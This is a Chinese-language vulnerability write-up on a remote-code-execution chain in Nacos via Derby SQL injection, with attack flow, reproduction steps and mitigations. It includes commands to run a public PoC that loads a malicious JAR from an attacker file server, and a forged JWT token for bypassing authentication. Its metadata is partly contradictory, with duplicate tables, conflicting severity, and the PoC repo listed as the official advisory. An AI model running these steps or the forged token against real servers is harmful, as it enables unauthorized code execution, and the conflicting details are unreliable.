一、漏洞简介

1.1 漏洞背景

2024年,Nacos 被披露基于 Derby SQL 注入漏洞(CVE-2021-29442)的 RCE 攻击链。攻击者可利用 Derby SQL 注入加载恶意 JAR 并注册函数,执行任意代码。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 QVD-2024-26473
危害等级 暂未找到权威信息
漏洞类型 Derby 未授权 RCE
披露时间 暂未找到权威信息
影响组件 Nacos
项目 内容
CVE 编号 QVD-2024-26473
危害等级 严重(Critical)
CVSS 评分 9.8
漏洞类型 SQL 注入 + RCE
影响 远程代码执行
公开日期 2024年8月
<hr />

核验说明:原文使用编号 QVD-2024-26473,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。

二、影响范围

2.1 受影响的版本

  • 所有存在 Derby SQL 注入的版本(特别是开启了鉴权的版本)

2.2 不受影响的版本

  • 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 能访问 /nacos/v1/cs/ops/derby 或 /nacos/v1/cs/ops/data/removal 端点
  2. 能绕过身份认证(使用 JWT 伪造或未授权访问)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

  1. 通过 SQL 注入创建恶意函数
  2. 使用 SQL 调用恶意函数执行代码
  3. 利用 Derby 的 CALL SQLJ.INSTALL_JAR 功能加载恶意 JAR

3.2 攻击流程

  1. 启动恶意文件服务器提供 JAR 文件
  2. 通过 SQL 注入上传恶意 JAR
  3. 注册恶意函数
  4. 调用函数执行命令
<hr />

3.2 源码层面的根因分析(结合源码与补丁对比)

暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。

四、漏洞复现(可选)

4.1 环境搭建

# 下载 POC
git clone https://github.com/FFR66/Nacos_Rce.git
cd Nacos_Rce

4.2 PoC 演示与测试过程

配置文件服务器

# config.py
server_host = '0.0.0.0'
server_port = 5000

启动文件服务器

python ./service.py

执行 RCE 攻击

python ./Nacos_Rce.py -t <文件服务器IP> -p 5000 -u http://<目标IP>:8848 -c "whoami"

使用 JWT 绕过认证

# 在 Nacos_Rce.py 中设置请求头
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到最新版本并关闭 Derby 运维接口

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

禁用 Derby 运维接口

# application.properties
nacos.config.derby.ops.enabled=false

限制接口访问

location ~ /nacos/v1/cs/ops/(derby|data/removal) {
    deny all;
}
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/FFR66/Nacos_Rce.git
  • https://github.com/FFR66/Nacos_Rce

6.2 其他技术参考资料

  • https://github.com/FFR66/Nacos_Rce.git
  • http://<目标IP
  • https://github.com/FFR66/Nacos_Rce
  • https://cn-sec.com/archives/3048915.html